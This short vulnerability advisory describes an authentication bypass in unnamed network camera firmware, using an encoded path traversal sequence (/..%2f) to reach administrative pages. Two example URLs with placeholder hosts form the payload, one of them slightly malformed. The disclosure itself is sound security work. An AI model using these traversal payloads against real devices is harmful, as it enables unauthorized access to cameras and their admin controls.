An attacker can bypass the protection of protected pages using /..%2f and access to administrative area:
Network Camera V3.0: http:www.exampe.com//camera/..%2fadmin/aindex.asp
Networks Camera Prior versions: http://www.example.com/camera/app/..%2fadmin/aindex.htm